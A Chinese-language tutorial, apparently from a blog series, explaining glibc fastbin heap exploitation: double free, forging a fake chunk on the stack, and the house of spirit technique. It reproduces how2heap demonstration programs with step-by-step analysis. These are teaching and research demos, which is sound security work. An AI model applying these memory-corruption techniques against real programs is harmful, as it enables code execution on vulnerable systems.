linux堆內存漏洞利用之fastbin

背景介紹

前一節主要介紹了Glibc的堆內存管理的機制,在上一節的基礎上,我打算介紹一下針對Glibc堆內存管理的攻擊。此係列我打算按攻擊面是哪一個bin來展開,主要分爲:
- fastbin的攻擊
- smallbin的攻擊
- largebin的攻擊
- unsorted bin的攻擊
- top chunk的攻擊

本文主要介紹fastbin的攻擊

fastbin漏洞利用

具體的fastbin的介紹請參考前一節Linux堆內存管理深入分析(下),在本節中主要結合how2heap的代碼來介紹一下具體的漏洞利用思路。

fastbin double free

double free的意思就是一個malloc的指針被釋放了兩次,由於針對fastbin的free處理只是對double free做了簡單的判斷,所以很容易繞過它的double free判斷。free() fastbin時的判斷如下所示:

/* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }

其中old指針爲fast bin的頭指針,即此處只是判斷fastbin的頭指針和p指針是否一致。所以fastbin double free的攻擊思路就是我們只要保證要double free的chunk不在fastbin的頭部即可。

具體的攻擊示例如下:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("This file demonstrates a simple double-free attack with fastbins.\n");

    printf("Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);

    printf("Freeing the first one...\n");
    free(a);

    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    printf("So, instead, we'll free %p.\n", b);
    free(b);

    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    printf("1st malloc(8): %p\n", malloc(8));
    printf("2nd malloc(8): %p\n", malloc(8));
    printf("3rd malloc(8): %p\n", malloc(8));
}

在此示例中,首先申請三個大小爲8的int數組,然後先free(a),由於fast bin是一個單鏈表,在插入和刪除的時候只在頭部進行,所以此時將a的chunk放入了fast bin的頭部,隨後又free(b),此時fast bin的頭部爲chunk b,隨後又free(a),此時由於fast bin的頭部爲chunk b,所以在free()的時候進行判斷old == p不會拋出錯誤進而繞過這個簡單的判斷處理。再進行malloc的時候首先會從fast bin的頭部進行刪除,則接下來第一個分配的chunk爲chunk A,第二個分配的爲chunk B,接下來會再次分配chunk A。

繞過示例結果如下所示:

fast bin dup

fast bin double free in stack

上面的那個例子只是簡單的一個double free,這個例子是利用double free漏洞在棧中構造了一個fake chunk。
其具體的示例如下所示:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    printf("Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);

    printf("Freeing the first one...\n");
    free(a);

    printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    printf("So, instead, we'll free %p.\n", b);
    free(b);

    printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    printf("Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    printf("1st malloc(8): %p\n", d);
    printf("2nd malloc(8): %p\n", malloc(8));
    printf("Now the free list has [ %p ].\n", a);
    printf("Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    printf("4th malloc(8): %p\n", malloc(8));
}

在以上代碼中,當d被malloc的時候,此時還有對應的chunk a在fast bin中,所以如果對d進行修改,也會影響到chunk a的值。我們知道malloced chunk和freed chunk對應的結構不一樣,對與同一個chunk A來說,有兩種形式–對於d來說,其對應的是malloced chunk,而其在fast bin中還有一個freed chunk。
其示例如圖所示:

fast bin stack pin

可以看到*d(payload開始地址)正好對應了chunk A的fd指針,將 *d的值賦值爲&stack_var-8,則 stack_var=0x20即爲在棧中僞造的chunk的size=0x20,與此fast bin的大小對應,此時chunk A的fd指向了在棧中僞造的chunk,此時就將僞造的chunk放入了fastbin鏈表中。進而malloc可以返回僞造的指針。

該示例代碼的運行結果如下所示:

fast bin stack

The house of spirit

此攻擊也是在棧中僞造fake chunk,和第二個攻擊不同的是其只是在棧中聲明瞭一個指針,而並沒有通過malloc()函數來在堆中申請空間,接着將該指針賦值爲特定的僞造的chunk的地址,隨後free該指針,就將在棧中僞造的chunk添加到對應的fastbin中去了。具體的示例如下所示:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("This file demonstrates the house of spirit attack.\n");

    printf("Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

    printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    printf("Freeing the overwritten pointer.\n");
    free(a);

    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    printf("malloc(0x30): %p\n", malloc(0x30));
}

示例的結果如下圖所示:

house of spirit

參考

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章